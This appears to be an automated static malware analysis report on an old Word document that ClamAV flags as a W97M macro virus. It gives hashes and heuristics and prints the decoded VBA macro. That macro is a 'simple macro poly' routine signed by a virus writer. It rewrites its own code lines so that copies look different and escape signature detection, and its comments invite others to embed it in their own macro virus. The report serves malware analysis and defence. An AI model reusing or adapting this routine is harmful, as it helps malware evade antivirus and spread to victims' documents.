Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a219447afeef7675…

MALICIOUS

Office (OLE)

30.0 KB Created: 1998-06-13 14:37:00 Authoring application: Microsoft Word 8.0 First seen: 2015-10-13
MD5: f0bdb55ed96e2b971d6209db08ed6aa0 SHA-1: 52421293e7fdfee088d7bf4615bd5b38942ef2d1 SHA-256: a219447afeef7675608b11bddef667f7be973c48c0bab6cfd453b1a8ea60e1f7
200 Risk Score

Heuristics 3

  • ClamAV: Win.Trojan.W97M-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.W97M-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .ReplaceLine x, "' " & Application.UserInitials & Now & Application.UserName & Application.ActivePrinter & Now

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 794 bytes
SHA-256: abd19f4cf648dbf0dcd9903384f12acd7225a7f3c64b1db9230116368da3140e
Detection
ClamAV: Win.Trojan.W97M-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "VSMP_DEMO"
Function VSMP()

Y = Application.VBE.ActiveVBProject.VBComponents("VSMP_DEMO").CodeModule.CountOfLines

With Application.VBE.ActiveVBProject.VBComponents("VSMP_DEMO").CodeModule

For x = 2 To Y Step 2

.ReplaceLine x, "' " & Application.UserInitials & Now & Application.UserName & Application.ActivePrinter & Now

Next x

End With

End Function

' Vic's Simple Macro Poly

' Replace "VSMP_DEMO" with the name of your macro vius

' Remove these comments

' peace,

'   VicodinES /CB /TNN